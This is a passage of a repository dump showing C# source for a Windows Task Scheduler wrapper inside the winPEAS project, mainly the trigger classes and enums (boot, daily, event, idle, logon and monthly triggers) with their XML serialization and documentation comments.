ComHandlerUpdate onUpdate)\n                {\n                    OnCompleted = onCompleted;\n                    OnUpdate = onUpdate;\n                }\n\n                public void TaskCompleted([In, MarshalAs(UnmanagedType.Error)] int taskErrCode) => OnCompleted?.Invoke(taskErrCode);\n\n                public void UpdateStatus([In] short percentComplete, [In, MarshalAs(UnmanagedType.BStr)] string statusMessage) => OnUpdate?.Invoke(percentComplete, statusMessage);\n            }\n        }\n\n        // This private class holds information needed to create a new TaskService instance\n        private class ConnectionData : IEquatable<ConnectionData>\n        {\n            public bool ForceV1;\n            public string TargetServer, UserAccountDomain, UserName, UserPassword;\n\n            public ConnectionData(string targetServer, string userName = null, string accountDomain = null, string password = null, bool forceV1 = false)\n            {\n                TargetServer = targetServer;\n                UserAccountDomain = accountDomain;\n                UserName = userName;\n                UserPassword = password;\n                ForceV1 = forceV1;\n            }\n\n            public bool Equals(ConnectionData other) => string.Equals(TargetServer, other.TargetServer, StringComparison.InvariantCultureIgnoreCase) &&\n                       string.Equals(UserAccountDomain, other.UserAccountDomain, StringComparison.InvariantCultureIgnoreCase) &&\n                       string.Equals(UserName, other.UserName, StringComparison.InvariantCultureIgnoreCase) &&\n                       string.Equals(UserPassword, other.UserPassword, StringComparison.InvariantCultureIgnoreCase) &&\n                       ForceV1 == other.ForceV1;\n        }\n\n        private class VersionConverter : TypeConverter\n        {\n            public override bool CanConvertFrom(ITypeDescriptorContext context, Type sourceType)\n            {\n                if (sourceType == typeof(string))\n                    return true;\n                return base.CanConvertFrom(context, sourceType);\n            }\n\n            public override object ConvertFrom(ITypeDescriptorContext context, System.Globalization.CultureInfo culture, object value)\n            {\n                var s = value as string;\n                return s != null ? new Version(s) : base.ConvertFrom(context, culture, value);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/Trigger.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.Globalization;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\nusing System.Text;\nusing System.Xml.Serialization;\nusing winPEAS.Properties;\nusing winPEAS.TaskScheduler.V1;\nusing winPEAS.TaskScheduler.V2;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>Values for days of the week (Monday, Tuesday, etc.)</summary>\n    [Flags]\n    public enum DaysOfTheWeek : short\n    {\n        /// <summary>Sunday</summary>\n        Sunday = 0x1,\n\n        /// <summary>Monday</summary>\n        Monday = 0x2,\n\n        /// <summary>Tuesday</summary>\n        Tuesday = 0x4,\n\n        /// <summary>Wednesday</summary>\n        Wednesday = 0x8,\n\n        /// <summary>Thursday</summary>\n        Thursday = 0x10,\n\n        /// <summary>Friday</summary>\n        Friday = 0x20,\n\n        /// <summary>Saturday</summary>\n        Saturday = 0x40,\n\n        /// <summary>All days</summary>\n        AllDays = 0x7F\n    }\n\n    /// <summary>Values for months of the year (January, February, etc.)</summary>\n    [Flags]\n    public enum MonthsOfTheYear : short\n    {\n        /// <summary>January</summary>\n        January = 0x1,\n\n        /// <summary>February</summary>\n        February = 0x2,\n\n        /// <summary>March</summary>\n        March = 0x4,\n\n        /// <summary>April</summary>\n        April = 0x8,\n\n        /// <summary>May</summary>\n        May = 0x10,\n\n        /// <summary>June</summary>\n        June = 0x20,\n\n        /// <summary>July</summary>\n        July = 0x40,\n\n        /// <summary>August</summary>\n        August = 0x80,\n\n        /// <summary>September</summary>\n        September = 0x100,\n\n        /// <summary>October</summary>\n        October = 0x200,\n\n        /// <summary>November</summary>\n        November = 0x400,\n\n        /// <summary>December</summary>\n        December = 0x800,\n\n        /// <summary>All months</summary>\n        AllMonths = 0xFFF\n    }\n\n    /// <summary>Defines the type of triggers that can be used by tasks.</summary>\n    [DefaultValue(Time)]\n    public enum TaskTriggerType\n    {\n        /// <summary>Triggers the task when a specific event occurs. Version 1.2 only.</summary>\n        Event = 0,\n\n        /// <summary>Triggers the task at a specific time of day.</summary>\n        Time = 1,\n\n        /// <summary>Triggers the task on a daily schedule.</summary>\n        Daily = 2,\n\n        /// <summary>Triggers the task on a weekly schedule.</summary>\n        Weekly = 3,\n\n        /// <summary>Triggers the task on a monthly schedule.</summary>\n        Monthly = 4,\n\n        /// <summary>Triggers the task on a monthly day-of-week schedule.</summary>\n        MonthlyDOW = 5,\n\n        /// <summary>Triggers the task when the computer goes into an idle state.</summary>\n        Idle = 6,\n\n        /// <summary>Triggers the task when the task is registered. Version 1.2 only.</summary>\n        Registration = 7,\n\n        /// <summary>Triggers the task when the computer boots.</summary>\n        Boot = 8,\n\n        /// <summary>Triggers the task when a specific user logs on.</summary>\n        Logon = 9,\n\n        /// <summary>Triggers the task when a specific user session state changes. Version 1.2 only.</summary>\n        SessionStateChange = 11,\n\n        /// <summary>Triggers the custom trigger. Version 1.3 only.</summary>\n        Custom = 12\n    }\n\n    /// <summary>Values for week of month (first, second, ..., last)</summary>\n    [Flags]\n    public enum WhichWeek : short\n    {\n        /// <summary>First week of the month</summary>\n        FirstWeek = 1,\n\n        /// <summary>Second week of the month</summary>\n        SecondWeek = 2,\n\n        /// <summary>Third week of the month</summary>\n        ThirdWeek = 4,\n\n        /// <summary>Fourth week of the month</summary>\n        FourthWeek = 8,\n\n        /// <summary>Last week of the month</summary>\n        LastWeek = 0x10,\n\n        /// <summary>Every week of the month</summary>\n        AllWeeks = 0x1F\n    }\n\n    /// <summary>Interface that categorizes the trigger as a calendar trigger.</summary>\n    public interface ICalendarTrigger { }\n\n    /// <summary>Interface for triggers that support a delay.</summary>\n    public interface ITriggerDelay\n    {\n        /// <summary>Gets or sets a value that indicates the amount of time before the task is started.</summary>\n        /// <value>The delay duration.</value>\n        TimeSpan Delay { get; set; }\n    }\n\n    /// <summary>Interface for triggers that support a user identifier.</summary>\n    public interface ITriggerUserId\n    {\n        /// <summary>Gets or sets the user for the <see cref=\"Trigger\"/>.</summary>\n        string UserId { get; set; }\n    }\n\n    /// <summary>Represents a trigger that starts a task when the system is booted.</summary>\n    /// <remarks>\n    /// A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the\n    /// ITriggerDelay interface.\n    /// </remarks>\n    /// <example>\n    /// <code lang=\"cs\">\n    ///<![CDATA[\n    /// // Create trigger that fires 5 minutes after the system starts.\n    /// BootTrigger bt = new BootTrigger();\n    /// bt.Delay = TimeSpan.FromMinutes(5);  // V2 only\n    ///]]>\n    /// </code>\n    /// </example>\n    public sealed class BootTrigger : Trigger, ITriggerDelay\n    {\n        /// <summary>Creates an unbound instance of a <see cref=\"BootTrigger\"/>.</summary>\n        public BootTrigger() : base(TaskTriggerType.Boot) { }\n\n        internal BootTrigger([NotNull] ITaskTrigger iTrigger) : base(iTrigger, V1.TaskTriggerType.OnSystemStart)\n        {\n        }\n\n        internal BootTrigger([NotNull] ITrigger iTrigger) : base(iTrigger)\n        {\n        }\n\n        /// <summary>Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(typeof(TimeSpan), \"00:00:00\")]\n        [XmlIgnore]\n        public TimeSpan Delay\n        {\n            get => v2Trigger != null ? Task.StringToTimeSpan(((IBootTrigger)v2Trigger).Delay) : GetUnboundValueOrDefault(nameof(Delay), TimeSpan.Zero);\n            set\n            {\n                if (v2Trigger != null)\n                    ((IBootTrigger)v2Trigger).Delay = Task.TimeSpanToString(value);\n                else if (v1Trigger != null)\n                    throw new NotV1SupportedException();\n                else\n                    unboundValues[nameof(Delay)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets the non-localized trigger string for V2 triggers.</summary>\n        /// <returns>String describing the trigger.</returns>\n        protected override string V2GetTriggerString() => Resources.TriggerBoot1;\n    }\n\n    /// <summary>\n    /// Represents a custom trigger. This class is based on undocumented features and may change. <note>This type of trigger is only\n    /// available for reading custom triggers. It cannot be used to create custom triggers.</note>\n    /// </summary>\n    public sealed class CustomTrigger : Trigger, ITriggerDelay\n    {\n        private readonly NamedValueCollection nvc = new NamedValueCollection();\n        private TimeSpan delay = TimeSpan.MinValue;\n        private string name = string.Empty;\n\n        internal CustomTrigger([NotNull] ITrigger iTrigger) : base(iTrigger)\n        {\n        }\n\n        /// <summary>Gets a value that indicates the amount of time between the trigger events and when the task is started.</summary>\n        /// <exception cref=\"System.NotImplementedException\">This value cannot be set.</exception>\n        public TimeSpan Delay\n        {\n            get => delay;\n            set => throw new NotImplementedException();\n        }\n\n        /// <summary>Gets the name of the custom trigger type.</summary>\n        /// <value>The name of the XML element representing this custom trigger.</value>\n        public string Name => name;\n\n        /// <summary>Gets the properties from the XML definition if possible.</summary>\n        [XmlArray, XmlArrayItem(\"Property\")]\n        public NamedValueCollection Properties => nvc;\n\n        /// <summary>Clones this instance.</summary>\n        /// <returns>This method will always throw an exception.</returns>\n        /// <exception cref=\"System.InvalidOperationException\">CustomTrigger cannot be cloned due to OS restrictions.</exception>\n        public override object Clone() => throw new InvalidOperationException(\"CustomTrigger cannot be cloned due to OS restrictions.\");\n\n        /// <summary>Updates custom properties from XML provided by definition.</summary>\n        /// <param name=\"xml\">The XML from the TaskDefinition.</param>\n        internal void UpdateFromXml(string xml)\n        {\n            nvc.Clear();\n            try\n            {\n                var xmlDoc = new System.Xml.XmlDocument();\n                xmlDoc.LoadXml(xml);\n                var nsmgr = new System.Xml.XmlNamespaceManager(xmlDoc.NameTable);\n                nsmgr.AddNamespace(\"n\", \"http://schemas.microsoft.com/windows/2004/02/mit/task\");\n                var elem = xmlDoc.DocumentElement?.SelectSingleNode(\"n:Triggers/*[@id='\" + Id + \"']\", nsmgr);\n                if (elem == null)\n                {\n                    var nodes = xmlDoc.GetElementsByTagName(\"WnfStateChangeTrigger\");\n                    if (nodes.Count == 1)\n                        elem = nodes[0];\n                }\n\n                if (elem == null) return;\n\n                name = elem.LocalName;\n                foreach (System.Xml.XmlNode node in elem.ChildNodes)\n                {\n                    switch (node.LocalName)\n                    {\n                        case \"Delay\":\n                            delay = Task.StringToTimeSpan(node.InnerText);\n                            break;\n\n                        case \"StartBoundary\":\n                        case \"Enabled\":\n                        case \"EndBoundary\":\n                        case \"ExecutionTimeLimit\":\n                            break;\n\n                        default:\n                            nvc.Add(node.LocalName, node.InnerText);\n                            break;\n                    }\n                }\n            }\n            catch { /* ignored */ }\n        }\n\n        /// <summary>Gets the non-localized trigger string for V2 triggers.</summary>\n        /// <returns>String describing the trigger.</returns>\n        protected override string V2GetTriggerString() => Resources.TriggerCustom1;\n    }\n\n    /// <summary>\n    /// Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every\n    /// other day, every third day, and so on.\n    /// </summary>\n    /// <remarks>A DailyTrigger will fire at a specified time every day or interval of days.</remarks>\n    /// <example>\n    /// <code lang=\"cs\">\n    ///<![CDATA[\n    /// // Create a trigger that runs every other day and will start randomly between 10 a.m. and 12 p.m.\n    /// DailyTrigger dt = new DailyTrigger();\n    /// dt.StartBoundary = DateTime.Today + TimeSpan.FromHours(10);\n    /// dt.DaysInterval = 2;\n    /// dt.RandomDelay = TimeSpan.FromHours(2); // V2 only\n    ///]]>\n    /// </code>\n    /// </example>\n    [XmlRoot(\"CalendarTrigger\", Namespace = TaskDefinition.tns, IsNullable = false)]\n    public sealed class DailyTrigger : Trigger, ICalendarTrigger, ITriggerDelay, IXmlSerializable\n    {\n        /// <summary>Creates an unbound instance of a <see cref=\"DailyTrigger\"/>.</summary>\n        /// <param name=\"daysInterval\">Interval between the days in the schedule.</param>\n        public DailyTrigger(short daysInterval = 1) : base(TaskTriggerType.Daily) => DaysInterval = daysInterval;\n\n        internal DailyTrigger([NotNull] ITaskTrigger iTrigger) : base(iTrigger, V1.TaskTriggerType.RunDaily)\n        {\n            if (v1TriggerData.Data.daily.DaysInterval == 0)\n                v1TriggerData.Data.daily.DaysInterval = 1;\n        }\n\n        internal DailyTrigger([NotNull] ITrigger iTrigger) : base(iTrigger)\n        {\n        }\n\n        /// <summary>Sets or retrieves the interval between the days in the schedule.</summary>\n        [DefaultValue(1)]\n        public short DaysInterval\n        {\n            get\n            {\n                if (v2Trigger != null)\n                    return ((IDailyTrigger)v2Trigger).DaysInterval;\n                return (short)v1TriggerData.Data.daily.DaysInterval;\n            }\n            set\n            {\n                if (v2Trigger != null)\n                    ((IDailyTrigger)v2Trigger).DaysInterval = value;\n                else\n                {\n                    v1TriggerData.Data.daily.DaysInterval = (ushort)value;\n                    if (v1Trigger != null)\n                        SetV1TriggerData();\n                    else\n                        unboundValues[nameof(DaysInterval)] = value;\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a delay time that is randomly added to the start time of the trigger.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(typeof(TimeSpan), \"00:00:00\")]\n        [XmlIgnore]\n        public TimeSpan RandomDelay\n        {\n            get => v2Trigger != null ? Task.StringToTimeSpan(((IDailyTrigger)v2Trigger).RandomDelay) : GetUnboundValueOrDefault(nameof(RandomDelay), TimeSpan.Zero);\n            set\n            {\n                if (v2Trigger != null)\n                    ((IDailyTrigger)v2Trigger).RandomDelay = Task.TimeSpanToString(value);\n                else if (v1Trigger != null)\n                    throw new NotV1SupportedException();\n                else\n                    unboundValues[nameof(RandomDelay)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a value that indicates the amount of time before the task is started.</summary>\n        /// <value>The delay duration.</value>\n        TimeSpan ITriggerDelay.Delay\n        {\n            get => RandomDelay;\n            set => RandomDelay = value;\n        }\n\n        /// <summary>\n        /// Copies the properties from another <see cref=\"Trigger\"/> the current instance. This will not copy any properties associated with\n        /// any derived triggers except those supporting the <see cref=\"ITriggerDelay\"/> interface.\n        /// </summary>\n        /// <param name=\"sourceTrigger\">The source <see cref=\"Trigger\"/>.</param>\n        public override void CopyProperties(Trigger sourceTrigger)\n        {\n            base.CopyProperties(sourceTrigger);\n            if (sourceTrigger is DailyTrigger dt)\n            {\n                DaysInterval = dt.DaysInterval;\n            }\n        }\n\n        /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n        /// <param name=\"other\">An object to compare with this object.</param>\n        /// <returns>true if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, false.</returns>\n        public override bool Equals(Trigger other) => other is DailyTrigger dt && base.Equals(dt) && DaysInterval == dt.DaysInterval;\n\n        System.Xml.Schema.XmlSchema IXmlSerializable.GetSchema() => null;\n\n        void IXmlSerializable.ReadXml(System.Xml.XmlReader reader) => CalendarTrigger.ReadXml(reader, this, ReadMyXml);\n\n        void IXmlSerializable.WriteXml(System.Xml.XmlWriter writer) => CalendarTrigger.WriteXml(writer, this, WriteMyXml);\n\n        /// <summary>Gets the non-localized trigger string for V2 triggers.</summary>\n        /// <returns>String describing the trigger.</returns>\n        protected override string V2GetTriggerString() => DaysInterval == 1 ?\n            string.Format(Resources.TriggerDaily1, AdjustToLocal(StartBoundary)) :\n            string.Format(Resources.TriggerDaily2, AdjustToLocal(StartBoundary), DaysInterval);\n\n        private void ReadMyXml(System.Xml.XmlReader reader)\n        {\n            reader.ReadStartElement(\"ScheduleByDay\");\n            if (reader.MoveToContent() == System.Xml.XmlNodeType.Element && reader.LocalName == \"DaysInterval\")\n                // ReSharper disable once AssignNullToNotNullAttribute\n                DaysInterval = (short)reader.ReadElementContentAs(typeof(short), null);\n            reader.Read();\n            reader.ReadEndElement();\n        }\n\n        private void WriteMyXml(System.Xml.XmlWriter writer)\n        {\n            writer.WriteStartElement(\"ScheduleByDay\");\n            writer.WriteElementString(\"DaysInterval\", DaysInterval.ToString());\n            writer.WriteEndElement();\n        }\n    }\n\n    /// <summary>\n    /// Represents a trigger that starts a task when a system event occurs. <note>Only available for Task Scheduler 2.0 on Windows Vista or\n    /// Windows Server 2003 and later.</note>\n    /// </summary>\n    /// <remarks>The EventTrigger runs when a system event fires.</remarks>\n    /// <example>\n    /// <code lang=\"cs\">\n    ///<![CDATA[\n    /// // Create a trigger that will fire whenever a level 2 system event fires.\n    /// EventTrigger eTrigger = new EventTrigger();\n    /// eTrigger.Subscription = @\"<QueryList><Query Id='1'><Select Path='System'>*[System/Level=2]</Select></Query></QueryList>\";\n    /// eTrigger.ValueQueries.Add(\"Name\", \"Value\");\n    ///]]>\n    /// </code>\n    /// </example>\n    [XmlType(IncludeInSchema = false)]\n    public sealed class EventTrigger : Trigger, ITriggerDelay\n    {\n        private NamedValueCollection nvc;\n\n        /// <summary>Creates an unbound instance of a <see cref=\"EventTrigger\"/>.</summary>\n        public EventTrigger() : base(TaskTriggerType.Event) { }\n\n        /// <summary>Initializes an unbound instance of the <see cref=\"EventTrigger\"/> class and sets a basic event.</summary>\n        /// <param name=\"log\">The event's log.</param>\n        /// <param name=\"source\">The event's source. Can be <c>null</c>.</param>\n        /// <param name=\"eventId\">The event's id. Can be <c>null</c>.</param>\n        public EventTrigger(string log, string source, int? eventId) : this() => SetBasic(log, source, eventId);\n\n        internal EventTrigger([NotNull] ITrigger iTrigger) : base(iTrigger)\n        {\n        }\n\n        /// <summary>Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started.</summary>\n        [DefaultValue(typeof(TimeSpan), \"00:00:00\")]\n        public TimeSpan Delay\n        {\n            get => v2Trigger != null ? Task.StringToTimeSpan(((IEventTrigger)v2Trigger).Delay) : GetUnboundValueOrDefault(nameof(Delay), TimeSpan.Zero);\n            set\n            {\n                if (v2Trigger != null)\n                    ((IEventTrigger)v2Trigger).Delay = Task.TimeSpanToString(value);\n                else\n                    unboundValues[nameof(Delay)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the XPath query string that identifies the event that fires the trigger.</summary>\n        [DefaultValue(null)]\n        public string Subscription\n        {\n            get => v2Trigger != null ? ((IEventTrigger)v2Trigger).Subscription : GetUnboundValueOrDefault<string>(nameof(Subscription));\n            set\n            {\n                if (v2Trigger != null)\n                    ((IEventTrigger)v2Trigger).Subscription = value;\n                else\n                    unboundValues[nameof(Subscription)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from\n        /// the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of\n        /// a <see cref=\"ShowMessageAction\"/> action.\n        /// </summary>\n        [XmlArray]\n        [XmlArrayItem(\"Value\", typeof(NameValuePair))]\n        public NamedValueCollection ValueQueries => nvc ??= v2Trigger == null ? new NamedValueCollection() : new NamedValueCollection(((IEventTrigger)v2Trigger).ValueQueries);\n\n        /// <summary>Builds an event log XML query string based on the input parameters.</summary>\n        /// <param name=\"log\">The event's log.</param>\n        /// <param name=\"source\">The event's source. Can be <c>null</c>.</param>\n        /// <param name=\"eventId\">The event's id. Can be <c>null</c>.</param>\n        /// <returns>XML query string.</returns>\n        /// <exception cref=\"System.ArgumentNullException\">log</exception>\n        public static string BuildQuery(string log, string source, int? eventId)\n        {\n            var sb = new StringBuilder();\n            if (string.IsNullOrEmpty(log))\n                throw new ArgumentNullException(nameof(log));\n            sb.AppendFormat(\"<QueryList><Query Id=\\\"0\\\" Path=\\\"{0}\\\"><Select Path=\\\"{0}\\\">*\", log);\n            bool hasSource = !string.IsNullOrEmpty(source), hasId = eventId.HasValue;\n            if (hasSource || hasId)\n            {\n                sb.Append(\"[System[\");\n                if (hasSource)\n                    sb.AppendFormat(\"Provider[@Name='{0}']\", source);\n                if (hasSource && hasId)\n                    sb.Append(\" and \");\n                if (hasId)\n                    sb.AppendFormat(\"EventID={0}\", eventId.Value);\n                sb.Append(\"]]\");\n            }\n            sb.Append(\"</Select></Query></QueryList>\");\n            return sb.ToString();\n        }\n\n        /// <summary>\n        /// Copies the properties from another <see cref=\"Trigger\"/> the current instance. This will not copy any properties associated with\n        /// any derived triggers except those supporting the <see cref=\"ITriggerDelay\"/> interface.\n        /// </summary>\n        /// <param name=\"sourceTrigger\">The source <see cref=\"Trigger\"/>.</param>\n        public override void CopyProperties(Trigger sourceTrigger)\n        {\n            base.CopyProperties(sourceTrigger);\n            if (sourceTrigger is EventTrigger et)\n            {\n                Subscription = et.Subscription;\n                et.ValueQueries.CopyTo(ValueQueries);\n            }\n        }\n\n        /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n        /// <param name=\"other\">An object to compare with this object.</param>\n        /// <returns>true if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, false.</returns>\n        public override bool Equals(Trigger other) => other is EventTrigger et && base.Equals(et) && Subscription == et.Subscription;\n\n        /// <summary>Gets basic event information.</summary>\n        /// <param name=\"log\">The event's log.</param>\n        /// <param name=\"source\">The event's source. Can be <c>null</c>.</param>\n        /// <param name=\"eventId\">The event's id. Can be <c>null</c>.</param>\n        /// <returns><c>true</c> if subscription represents a basic event, <c>false</c> if not.</returns>\n        public bool GetBasic(out string log, out string source, out int? eventId)\n        {\n            log = source = null;\n            eventId = null;\n            if (!string.IsNullOrEmpty(Subscription))\n            {\n                using var str = new System.IO.MemoryStream(Encoding.UTF8.GetBytes(Subscription));\n                using var rdr = new System.Xml.XmlTextReader(str)\n                {\n                    WhitespaceHandling = System.Xml.WhitespaceHandling.None\n                };\n                try\n                {\n                    rdr.MoveToContent();\n                    rdr.ReadStartElement(\"QueryList\");\n                    if (rdr.Name == \"Query\" && rdr.MoveToAttribute(\"Path\"))\n                    {\n                        var path = rdr.Value;\n                        if (rdr.MoveToElement() && rdr.ReadToDescendant(\"Select\") && path.Equals(rdr[\"Path\"], StringComparison.InvariantCultureIgnoreCase))\n                        {\n                            var content = rdr.ReadString();\n                            var m = System.Text.RegularExpressions.Regex.Match(content,\n                                @\"\\*(?:\\[System\\[(?:Provider\\[\\@Name='(?<s>[^']+)'\\])?(?:\\s+and\\s+)?(?:EventID=(?<e>\\d+))?\\]\\])\",\n                                System.Text.RegularExpressions.RegexOptions.IgnoreCase |\n                                System.Text.RegularExpressions.RegexOptions.Compiled |\n                                System.Text.RegularExpressions.RegexOptions.Singleline |\n                                System.Text.RegularExpressions.RegexOptions.IgnorePatternWhitespace);\n                            if (m.Success)\n                            {\n                                log = path;\n                                if (m.Groups[\"s\"].Success)\n                                    source = m.Groups[\"s\"].Value;\n                                if (m.Groups[\"e\"].Success)\n                                    eventId = Convert.ToInt32(m.Groups[\"e\"].Value);\n                                return true;\n                            }\n                        }\n                    }\n                }\n                catch { /* ignored */ }\n            }\n            return false;\n        }\n\n        /// <summary>\n        /// Sets the subscription for a basic event. This will replace the contents of the <see cref=\"Subscription\"/> property and clear all\n        /// entries in the <see cref=\"ValueQueries\"/> property.\n        /// </summary>\n        /// <param name=\"log\">The event's log.</param>\n        /// <param name=\"source\">The event's source. Can be <c>null</c>.</param>\n        /// <param name=\"eventId\">The event's id. Can be <c>null</c>.</param>\n        public void SetBasic([NotNull] string log, string source, int? eventId)\n        {\n            ValueQueries.Clear();\n            Subscription = BuildQuery(log, source, eventId);\n        }\n\n        internal override void Bind(ITaskDefinition iTaskDef)\n        {\n            base.Bind(iTaskDef);\n            nvc?.Bind(((IEventTrigger)v2Trigger).ValueQueries);\n        }\n\n        /// <summary>Gets the non-localized trigger string for V2 triggers.</summary>\n        /// <returns>String describing the trigger.</returns>\n        protected override string V2GetTriggerString()\n        {\n            if (!GetBasic(out var log, out var source, out var id))\n                return Resources.TriggerEvent1;\n            var sb = new StringBuilder();\n            sb.AppendFormat(Resources.TriggerEventBasic1, log);\n            if (!string.IsNullOrEmpty(source))\n                sb.AppendFormat(Resources.TriggerEventBasic2, source);\n            if (id.HasValue)\n                sb.AppendFormat(Resources.TriggerEventBasic3, id.Value);\n            return sb.ToString();\n        }\n    }\n\n    /// <summary>\n    /// Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task\n    /// Idle Conditions.\n    /// </summary>\n    /// <remarks>\n    /// An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using\n    /// the ExecutionTimeLimit property.\n    /// </remarks>\n    /// <example>\n    /// <code lang=\"cs\">\n    ///<![CDATA[\n    ///IdleTrigger it = new IdleTrigger();\n    ///]]>\n    /// </code>\n    /// </example>\n    public sealed class IdleTrigger : Trigger\n    {\n        /// <summary>Creates an unbound instance of a <see cref=\"IdleTrigger\"/>.</summary>\n        public IdleTrigger() : base(TaskTriggerType.Idle) { }\n\n        internal IdleTrigger([NotNull] ITaskTrigger iTrigger) : base(iTrigger, V1.TaskTriggerType.OnIdle)\n        {\n        }\n\n        internal IdleTrigger([NotNull] ITrigger iTrigger) : base(iTrigger)\n        {\n        }\n\n        /// <summary>Gets the non-localized trigger string for V2 triggers.</summary>\n        /// <returns>String describing the trigger.</returns>\n        protected override string V2GetTriggerString() => Resources.TriggerIdle1;\n    }\n\n    /// <summary>\n    /// Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are\n    /// enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0.\n    /// </summary>\n    /// <remarks>\n    /// A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to.\n    /// </remarks>\n    /// <example>\n    /// <code lang=\"cs\">\n    ///<![CDATA[\n    /// // Add a general logon trigger\n    /// LogonTrigger lt1 = new LogonTrigger();\n    /// \n    /// // V2 only: Add a delayed logon trigger for a specific user\n    /// LogonTrigger lt2 = new LogonTrigger { UserId = \"LocalUser\" };\n    /// lt2.Delay = TimeSpan.FromMinutes(15);\n    ///]]>\n    /// </code>\n    /// </example>\n    public sealed class LogonTrigger : Trigger, ITriggerDelay, ITriggerUserId\n    {\n        /// <summary>Creates an unbound instance of a <see cref=\"LogonTrigger\"/>.</summary>\n        public LogonTrigger() : base(TaskTriggerType.Logon) { }\n\n        internal LogonTrigger([NotNull] ITaskTrigger iTrigger) : base(iTrigger, V1.TaskTriggerType.OnLogon)\n        {\n        }\n\n        internal LogonTrigger([NotNull] ITrigger iTrigger) : base(iTrigger)\n        {\n        }\n\n        /// <summary>Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(typeof(TimeSpan), \"00:00:00\")]\n        [XmlIgnore]\n        public TimeSpan Delay\n        {\n            get => v2Trigger != null ? Task.StringToTimeSpan(((ILogonTrigger)v2Trigger).Delay) : GetUnboundValueOrDefault(nameof(Delay), TimeSpan.Zero);\n            set\n            {\n                if (v2Trigger != null)\n                    ((ILogonTrigger)v2Trigger).Delay = Task.TimeSpanToString(value);\n                else if (v1Trigger != null)\n                    throw new NotV1SupportedException();\n                else\n                    unboundValues[nameof(Delay)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// <para>Gets or sets The identifier of the user. For example, \"MyDomain\\MyName\" or for a local account, \"Administrator\".</para>\n        /// <para>This property can be in one of the following formats:</para>\n        /// <para>• User name or SID: The task is started when the user logs on to the computer.</para>\n        /// <para>• NULL: The task is started when any user logs on to the computer.</para>\n        /// </summary>\n        /// <remarks>\n        /// If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on,\n        /// then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty\n        /// LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property.\n        /// </remarks>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(null)]\n        [XmlIgnore]\n        public string UserId\n        {\n            get => v2Trigger != null ? ((ILogonTrigger)v2Trigger).UserId : GetUnboundValueOrDefault<string>(nameof(UserId));\n            set\n            {\n                if (v2Trigger != null)\n                    ((ILogonTrigger)v2Trigger).UserId = value;\n                else if (v1Trigger != null)\n                    throw new NotV1SupportedException();\n                else\n                    unboundValues[nameof(UserId)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets the non-localized trigger string for V2 triggers.</summary>\n        /// <returns>String describing the trigger.</returns>\n        protected override string V2GetTriggerString()\n        {\n            var user = string.IsNullOrEmpty(UserId) ? Resources.TriggerAnyUser : UserId;\n            return string.Format(Resources.TriggerLogon1, user);\n        }\n    }\n\n    /// <summary>\n    /// Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May\n    /// through October.\n    /// </summary>\n    [XmlRoot(\"CalendarTrigger\", Namespace = TaskDefinition.tns, IsNullable = false)]\n    public sealed class MonthlyDOWTrigger : Trigger, ICalendarTrigger, ITriggerDelay, IXmlSerializable\n    {\n        /// <summary>Creates an unbound instance of a <see cref=\"MonthlyDOWTrigger\"/>.</summary>\n        /// <param name=\"daysOfWeek\">The days of the week.</param>\n        /// <param name=\"monthsOfYear\">The months of the year.</param>\n        /// <param name=\"weeksOfMonth\">The weeks of the month.</param>\n        public MonthlyDOWTrigger(DaysOfTheWeek daysOfWeek = DaysOfTheWeek.Sunday, MonthsOfTheYear monthsOfYear = MonthsOfTheYear.AllMonths, WhichWeek weeksOfMonth = WhichWeek.FirstWeek) : base(TaskTriggerType.MonthlyDOW)\n        {\n            DaysOfWeek = daysOfWeek;\n            MonthsOfYear = monthsOfYear;\n            WeeksOfMonth = weeksOfMonth;\n        }\n\n        internal MonthlyDOWTrigger([NotNull] ITaskTrigger iTrigger) : base(iTrigger, V1.TaskTriggerType.RunMonthlyDOW)\n        {\n            if (v1TriggerData.Data.monthlyDOW.Months == 0)\n                v1TriggerData.Data.monthlyDOW.Months = MonthsOfTheYear.AllMonths;\n            if (v1TriggerData.Data.monthlyDOW.DaysOfTheWeek == 0)\n                